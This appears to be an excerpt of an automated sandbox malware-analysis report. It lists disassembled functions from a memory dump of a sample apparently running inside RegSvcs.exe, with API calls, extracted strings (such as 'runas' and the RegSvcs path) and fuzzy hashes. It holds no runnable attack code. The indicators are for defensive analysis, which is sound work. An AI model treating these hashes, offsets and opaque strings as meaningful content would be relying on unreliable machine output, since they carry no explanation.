Instruction Fuzzy Hash: 2641D270F002299BCF00EF69D880A9EBBB4AF45318F54805BE8149B352D7799A45CBD9

Function 00422770 Relevance: 12.3, APIs: 8, Instructions: 343COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00422837
std::_Rethrow_future_exception.LIBCPMT ref: 00422884
std::_Rethrow_future_exception.LIBCPMT ref: 00422894
__Mtx_unlock.LIBCPMT ref: 0042292B
__Mtx_unlock.LIBCPMT ref: 00422A24
__Mtx_unlock.LIBCPMT ref: 00422A72
__Cnd_broadcast.LIBCPMT ref: 00422ABC
__Mtx_unlock.LIBCPMT ref: 00422AC5

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$Cnd_broadcast
String ID:
API String ID: 3990724213-0
Opcode ID: 85742f03c660c208dee2b57a15d4ef0c322d618bf35b1c47521d8160b5039e98
Instruction ID: b2de0f54b7f0b1db96bededc91ed6a47dca4f3ef9a7f70afa0eb513aef62248e
Opcode Fuzzy Hash: 85742f03c660c208dee2b57a15d4ef0c322d618bf35b1c47521d8160b5039e98
Instruction Fuzzy Hash: 37B124B0F00215ABCB20DF65E945BAFBBB4BF05304F40466FE81697782DB78A944CB95

Function 00404910 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040499F

Part of subcall function 0042B056: RaiseException.KERNEL32(E06D7363,00000001,00000003,004025DC,00420D37,8B18EC83,?,004025DC,?,004644CC), ref: 0042B0B6

Strings

ios_base::failbit set, xrefs: 0040494F
ios_base::eofbit set, xrefs: 00404954
ios_base::badbit set, xrefs: 00404945
0*@, xrefs: 004048E8, 004049BB
$@, xrefs: 00404991
0*@, xrefs: 004049A4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: 0*@$0*@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$$@
API String ID: 3109751735-1927355542
Opcode ID: c3c96513ea1c091b501e7a9c2d125e3e8da586a6527bd220984c3c02bfac6729
Instruction ID: 7e9ae3a60d3a75930b960a24edae648050a2e642947a8b52df82228574fc3840
Opcode Fuzzy Hash: c3c96513ea1c091b501e7a9c2d125e3e8da586a6527bd220984c3c02bfac6729
Instruction Fuzzy Hash: F111D2F26003045FC710DB69D842B97B3E8EB91311F14C53BF95597682E778A914CB99

Function 0041AD80 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 0040A470: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,A99F1BC9,00000000,?), ref: 0040A4BA

GetFileAttributesA.KERNEL32(?,?,00000000,00000000,00467494,0000000E,A99F1BC9,00000000,00000000), ref: 0041AE2D

Strings

ZOt=, xrefs: 0041B737
Xv==, xrefs: 00419A32, 0041B0BB
246122658369, xrefs: 004160CF, 00416F63, 00417703, 00418587, 0041B751
., xrefs: 0041B785
ZS7n, xrefs: 0041B081

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AttributesFileFolderPath
String ID: .$246122658369$Xv==$ZOt=$ZS7n
API String ID: 1512852658-1015348533
Opcode ID: fdb3df21943d2b92dec2bfbe4731875cc7bcf61a5e05d3aa3db95cc8753f5498
Instruction ID: d49b27143f0ac30be76dc25b28aca04d499759bec3868825f72063322344771b
Opcode Fuzzy Hash: fdb3df21943d2b92dec2bfbe4731875cc7bcf61a5e05d3aa3db95cc8753f5498
Instruction Fuzzy Hash: 6FE1B370A0428CDFEF14DFA8C9497DDBFB5EF45308F508099D4052B282D7795A88CB96

Function 00435970 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

_free.LIBCMT ref: 00435C5B
_free.LIBCMT ref: 00435C74
_free.LIBCMT ref: 00435CB2
_free.LIBCMT ref: 00435CBB
_free.LIBCMT ref: 00435CC7

Strings

p"B, xrefs: 00435C38

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: p"B
API String ID: 3291180501-2496714718
Opcode ID: 047c4d0e8c3f23ce859b6f403d1d8baea94e63bc5d936f67046a2bf795d5cc95
Instruction ID: 5f255ddc1cec56d3be95aa608c7f25b86e09919c682632e10f6da53d22e0fa5f
Opcode Fuzzy Hash: 047c4d0e8c3f23ce859b6f403d1d8baea94e63bc5d936f67046a2bf795d5cc95
Instruction Fuzzy Hash: 72B15D759017199FDB24DF18C884AAEB3B4FF48318F5055AEE849A7351E734AE90CF88

Function 00412330 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

list too long, xrefs: 004127C9

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: fbd60de6cac6b519612e2e4e758915f44dd8b7291b7de539fbedf4aa3ec12349
Instruction ID: f6f707817a769f5d2e5db3523ab0ef80ea76e3c099da94bd95e3365d9b57aad9
Opcode Fuzzy Hash: fbd60de6cac6b519612e2e4e758915f44dd8b7291b7de539fbedf4aa3ec12349
Instruction Fuzzy Hash: AF5193B0E047189BDB10DF64DD45B9AF7B4EF04314F1041AAE81897391EB74AA90CB9A

Function 00438685 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 004386DC
ext-ms-, xrefs: 004386F0

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: fbad2296b56793bad923ff4e577820ce5443bc16a636efc659a3e071fb002eef
Instruction ID: 43d193dd692b5fed0b8276f4a6d626e1ca0c4abf57654fbb0f991640ef0a5974
Opcode Fuzzy Hash: fbad2296b56793bad923ff4e577820ce5443bc16a636efc659a3e071fb002eef
Instruction Fuzzy Hash: 3B210571A01311ABCB224A248C81B1FB7699B097A0F35217BFD15A73A1DF78ED0186E9

Function 004413E6 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00441132: _free.LIBCMT ref: 00441157

_free.LIBCMT ref: 00441434

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 0044143F
_free.LIBCMT ref: 0044144A
_free.LIBCMT ref: 0044149E
_free.LIBCMT ref: 004414A9
_free.LIBCMT ref: 004414B4
_free.LIBCMT ref: 004414BF

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction ID: 886a80fc3137415c37bdf28131146e9aae49e82566c9a09544b7ab4caa587314
Opcode Fuzzy Hash: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction Fuzzy Hash: 5E116D31981B08AAF931FBB2CC07FCBB7AD5F48704F444C1EB2DA66062DF28B5458654

Function 0042DEA2 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0042DE97,?,?,0042DE5F,00000000,00000000,?), ref: 0042DEB7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0042DECA
FreeLibrary.KERNEL32(00000000,?,?,0042DE97,?,?,0042DE5F,00000000,00000000,?), ref: 0042DEED

Strings

mscoree.dll, xrefs: 0042DEB0
p"B, xrefs: 0042DEDB
CorExitProcess, xrefs: 0042DEC2

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$p"B
API String ID: 4061214504-3902271996
Opcode ID: 6158b668f3bb4c84643ddf8142b9814040938c1bbc68bcb4acb311b105c7f346
Instruction ID: a9ec589247606b390a5f02988fb9bc451a4f7732a75776b91ac14855cb504494
Opcode Fuzzy Hash: 6158b668f3bb4c84643ddf8142b9814040938c1bbc68bcb4acb311b105c7f346
Instruction Fuzzy Hash: CEF01231A40619FBDB119F50ED09B9F7A68EF04757F5100A1F801A55B1CB78DF04DA98

Function 0043776F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 004377B7
__fassign.LIBCMT ref: 0043799C
__fassign.LIBCMT ref: 004379B9
WriteFile.KERNEL32(?,8B18EC83,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00437A01
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00437A41
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00437AE9

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: f5d774a95f8939efc2c3250f67d62b39c902261e0d8ed70c96d01c4d2ad4e67a
Instruction ID: d3eb400247b7122599ed37ba73980ba6afeee7d51223a857856fc8678a170c6a
Opcode Fuzzy Hash: f5d774a95f8939efc2c3250f67d62b39c902261e0d8ed70c96d01c4d2ad4e67a
Instruction Fuzzy Hash: 2CC19EB1D042589FCB24CFE8C8809EDBBB9AF0D314F28516AE895F7351E6349E42CB54

Function 004297D6 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0042981F
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0042988A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004298A7
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004298E6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00429945
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00429968

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: ad1749bf2f22c090a898cbc540a76858cd01df6ae96a4525085d5509d826719c
Instruction ID: b60aeca65cb2d43d0477f5f63b21d2cb44b5fac5a9fd3b7932356db598b2227b
Opcode Fuzzy Hash: ad1749bf2f22c090a898cbc540a76858cd01df6ae96a4525085d5509d826719c
Instruction Fuzzy Hash: FB51C1B2A10226ABDF209F61EC41FAF7BA9EF44760F54446EF915E6250D738CC50CB58

Function 00424780 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004247B5
std::_Lockit::_Lockit.LIBCPMT ref: 004247D7
std::_Lockit::~_Lockit.LIBCPMT ref: 004247F7
__Getctype.LIBCPMT ref: 0042488D
std::_Facet_Register.LIBCPMT ref: 004248AC
std::_Lockit::~_Lockit.LIBCPMT ref: 004248C4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 52cff7bc5db1e7eed9988df49cea48733d3ece94488ff8f5328eaa2b4ba21b0b
Instruction ID: d632894b5bfb4559188bf89a069972c36c1871a2db6547f42851e2d8b4f1c5da
Opcode Fuzzy Hash: 52cff7bc5db1e7eed9988df49cea48733d3ece94488ff8f5328eaa2b4ba21b0b
Instruction Fuzzy Hash: AD41EF75A002648BCB11EF54E840AAEB7B4FF94714F50416EE805AB382EB78AD45CB99

Function 004089E0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 322sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,A99F1BC9,?,00000000,004490FD,000000FF), ref: 00408A1C
__Init_thread_footer.LIBCMT ref: 00408AB6

Part of subcall function 00429A98: EnterCriticalSection.KERNEL32(00468FA8,74DF0F00,?,00408ABB,0046CDC0,00450100), ref: 00429AA2
Part of subcall function 00429A98: LeaveCriticalSection.KERNEL32(00468FA8,?,00408ABB,0046CDC0,00450100), ref: 00429AD5
Part of subcall function 00429A98: WakeAllConditionVariable.KERNEL32(?,0046CDC0,00450100), ref: 00429B4C

CreateThread.KERNEL32 ref: 00408B1B
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408B26

Part of subcall function 00429AE2: EnterCriticalSection.KERNEL32(00468FA8,00000000,74DF0F00,?,00408A41,0046CDC0), ref: 00429AED
Part of subcall function 00429AE2: LeaveCriticalSection.KERNEL32(00468FA8,?,00408A41,0046CDC0), ref: 00429B2A

Strings

runas, xrefs: 00408753

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$ConditionCreateInit_thread_footerThreadVariableWake
String ID: runas
API String ID: 4065365256-4000483414
Opcode ID: 3aea8bf43da370a6acae855602199328b895fed59e23fe529f744aef24482ef8
Instruction ID: 865e35d4280a53e7c8067a53bba9ea2e03c7990083b84b3d3742210204622c10
Opcode Fuzzy Hash: 3aea8bf43da370a6acae855602199328b895fed59e23fe529f744aef24482ef8
Instruction Fuzzy Hash: DDB15A71600248AFEB04DF68DD85B9E7B75EF45304F50822EF851A73C2DB7DA9808B5A

Function 0042C9B4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0044BDDD,0042C9AB,0042B044,00427D59,A99F1BC9,?,?,?,00000000,0044C997,000000FF,?,00402576,?,?), ref: 0042C9C2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0042C9D0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0042C9E9
SetLastError.KERNEL32(00000000,?,00000000,0044C997,000000FF,?,00402576,?,?,0000000F,00403BA5,00000000,0000000F,00000000,0044C330,000000FF), ref: 0042CA3B

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8273a38f977b3e12df4fac2eca5c926ee98e8702f1ffeeb5d9dbf3f6337985af
Instruction ID: 423268e3fcf0bbfaeba5710afc168753fc148499e709c15bea0b3099132cdb00
Opcode Fuzzy Hash: 8273a38f977b3e12df4fac2eca5c926ee98e8702f1ffeeb5d9dbf3f6337985af
Instruction Fuzzy Hash: 6C0128363083351EA61467757CD5AAF2B44EB1277A771033FF011911E3FE994C01968D

Function 00402810 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004029A6
___std_exception_destroy.LIBVCRUNTIME ref: 00402A40

Strings

$@, xrefs: 004029B1
$@, xrefs: 0040295E, 00402A39
0*@, xrefs: 004029EC

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: 0*@$$@$$@
API String ID: 2970364248-3500887044
Opcode ID: e0d76f7f1357b8cddb95282f00b9b5ba105996591d93a4e49f37bc0c9b5f6ad6
Instruction ID: 820bfb5d0948b46823d6e7e9d1052f852ad194706c0116c211f4a0b62e008abb
Opcode Fuzzy Hash: e0d76f7f1357b8cddb95282f00b9b5ba105996591d93a4e49f37bc0c9b5f6ad6
Instruction Fuzzy Hash: 5871B371E002189BDB04DF98D985BDEFBB4EF49314F54812EE805B7381D778A944CBA9

Function 0042CACB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0042CB92
___AdjustPointer.LIBCMT ref: 0042CBB5
___AdjustPointer.LIBCMT ref: 0042CC51

Strings

p"B, xrefs: 0042CB2A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: p"B
API String ID: 1740715915-2496714718
Opcode ID: 4992c701d4ed34f197b48a59c39ab97e74287786860dfefabf8f34b56af9a27f
Instruction ID: 62adf7ccfab7a2f74c25f6541a023d20e41f3bf5b9be7aa2ab2e51e406227fab
Opcode Fuzzy Hash: 4992c701d4ed34f197b48a59c39ab97e74287786860dfefabf8f34b56af9a27f
Instruction Fuzzy Hash: D451E272704626AFDB248F16F982B6E77A4EF00310F98452FE80997291E739ED41C799

Function 0043F647 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, xrefs: 0043F64C

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
API String ID: 0-4009286469
Opcode ID: f3f6e8b00c08d785b012517290d9b860eb75ca72ab76e1cdb08d9eba7d0af0dd
Instruction ID: 7fadd8b23f160e4d98abde648a5fd7ec5487db59e45a73bfd218ce1104749a2c
Opcode Fuzzy Hash: f3f6e8b00c08d785b012517290d9b860eb75ca72ab76e1cdb08d9eba7d0af0dd
Instruction Fuzzy Hash: B321C571A04206BFAB206FB68C81D6B776DEF1C368F10553AF915D62A1D738DC0587A8

Function 00428068 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00427FC9: GetModuleHandleExW.KERNEL32(00000002,00000000,00000000,?,?,0042801B,00000014,?,0042805C,00000014,?,00402D32,00000000,00000014,00000000,A99F1BC9), ref: 00427FD5

__Mtx_unlock.LIBCPMT ref: 004280AE
FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,A99F1BC9,?,?,?,004488A0,000000FF), ref: 004280D6
__Mtx_unlock.LIBCPMT ref: 00428111
__Cnd_broadcast.LIBCPMT ref: 00428122

Strings

p"B, xrefs: 004280E4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CallbackCnd_broadcastFreeHandleLibraryModuleReturnsWhen
String ID: p"B
API String ID: 420990631-2496714718
Opcode ID: a46daa44ab08bb0acbbfd87b8131fcb2a0238a40864e4425a852c81890478a36
Instruction ID: 0335d5a65dad443a8bf5d061db30fce2cabb06bd8cf0dc6411f7bf21c22857b7
Opcode Fuzzy Hash: a46daa44ab08bb0acbbfd87b8131fcb2a0238a40864e4425a852c81890478a36
Instruction Fuzzy Hash: F2118472A44620ABCA11BB62BD01B1F77A8EF45B24B51452FF80193692DE7DD801C65E

Function 0042DA07 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,0042DAC8,?,?,00000000,?,?,0042DB7A,00000002,FlsGetValue,004533D8,004533E0,?), ref: 0042DA97

Strings

api-ms-, xrefs: 0042DA57

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8ecd1732025e4b822771f99e5b351481859bdf931172bc3ce1fff5cbab47e006
Instruction ID: 0c7f054a289f1843fa228d4c31bc69c26d917de5b477b20cc0227bd62257e2fc
Opcode Fuzzy Hash: 8ecd1732025e4b822771f99e5b351481859bdf931172bc3ce1fff5cbab47e006
Instruction Fuzzy Hash: 3211C131F49331ABDF228B68AC00F5E3394AB01761F5102A2FD05E7290D678ED0086DD

Function 00429B6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNEL32(?,00429B07,00000064,?,00408A41,0046CDC0), ref: 00429B8D
LeaveCriticalSection.KERNEL32(00468FA8,0046CDC0,?,00429B07,00000064,?,00408A41,0046CDC0), ref: 00429B97
WaitForSingleObjectEx.KERNEL32(0046CDC0,00000000,?,00429B07,00000064,?,00408A41,0046CDC0), ref: 00429BA8
EnterCriticalSection.KERNEL32(00468FA8,?,00429B07,00000064,?,00408A41,0046CDC0), ref: 00429BAF

Strings

p"B, xrefs: 00429B87

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: p"B
API String ID: 3269011525-2496714718
Opcode ID: d550c03ad5bdf8e447039ab870f92c002831c9c91170344384543d3b93d78f97
Instruction ID: 2859dc784c9ed03da2d10222a7a3d5f9363b99f8d3e55de473af622b7c7d772c
Opcode Fuzzy Hash: d550c03ad5bdf8e447039ab870f92c002831c9c91170344384543d3b93d78f97
Instruction Fuzzy Hash: 55E01235681624EBCB151B50FC09B8D3F16AF08763B104176F90967171DFE55D109BDE

Function 004354E5 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004383E5: HeapAlloc.KERNEL32(00000000,00420D37,?,?,00429DCF,00420D37,?,004233CE,8B18EC84,74DF0F00), ref: 00438417

_free.LIBCMT ref: 004355F4
_free.LIBCMT ref: 0043560B
_free.LIBCMT ref: 00435628
_free.LIBCMT ref: 00435643
_free.LIBCMT ref: 0043565A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: 705029ce0baaa89f6bd69dbf513f7bd5691eedf6f6877ddb9fbf95f54199637d
Instruction ID: 28aa74c608fcd6387d99c548fc39160726db92b948c9b0de06e70d001392f757
Opcode Fuzzy Hash: 705029ce0baaa89f6bd69dbf513f7bd5691eedf6f6877ddb9fbf95f54199637d
Instruction Fuzzy Hash: 3E51E171A00B04ABDB21DF6AD842B6AB3F5EF5C724F14156EE809DB351E738E901CB48

Function 00427110 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00427299
__Mtx_unlock.LIBCPMT ref: 004272AA
__Cnd_broadcast.LIBCPMT ref: 004272D0
__Mtx_unlock.LIBCPMT ref: 004272D6
Concurrency::cancel_current_task.LIBCPMT ref: 0042731F

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID:
API String ID: 3354401312-0
Opcode ID: 43d528b51b35c9bbb2da3ec8c41d4e56f83747dbf66717eb6b125c5ac66ba4c8
Instruction ID: 40a91d06e2e52990f7b6d67599c9d5afda9527cab6aa50ef88dbd7d7a38f50f2
Opcode Fuzzy Hash: 43d528b51b35c9bbb2da3ec8c41d4e56f83747dbf66717eb6b125c5ac66ba4c8
Instruction Fuzzy Hash: 76616E70E01229DFDF10DFA5D944BAEBBB4BF05308F54419EE805A7342DB39AA05CBA5

Function 0040F4B0 Relevance: 7.7, APIs: 5, Instructions: 159comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040F547
CoCreateInstance.OLE32(0045DFB0,00000000,00000001,0045E010,?), ref: 0040F563
CoUninitialize.OLE32 ref: 0040F571
CoUninitialize.OLE32 ref: 0040F630
CoUninitialize.OLE32 ref: 0040F644

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID:
API String ID: 1968832861-0
Opcode ID: c0b01dbfa6797318106262dbd2fed837c9afe2e09affc095f62f3251812b7104
Instruction ID: e86ff81544685c45070fe39142173a451fe33c36e56a07e1c3fb2bb4d0f15041
Opcode Fuzzy Hash: c0b01dbfa6797318106262dbd2fed837c9afe2e09affc095f62f3251812b7104
Instruction Fuzzy Hash: 6A51E471A00208AFDF14DF64DC84B9EBBB5EF48314F108539E805F7691D739A948CBA9

Function 00424F10 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00424F46
std::_Lockit::_Lockit.LIBCPMT ref: 00424F66
std::_Lockit::~_Lockit.LIBCPMT ref: 00424F86
std::_Facet_Register.LIBCPMT ref: 00425021
std::_Lockit::~_Lockit.LIBCPMT ref: 00425039

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: de826de0b8665dce7b354b76897ab4d89b084adf4cf8c32ccdcbc88c9caf88b8
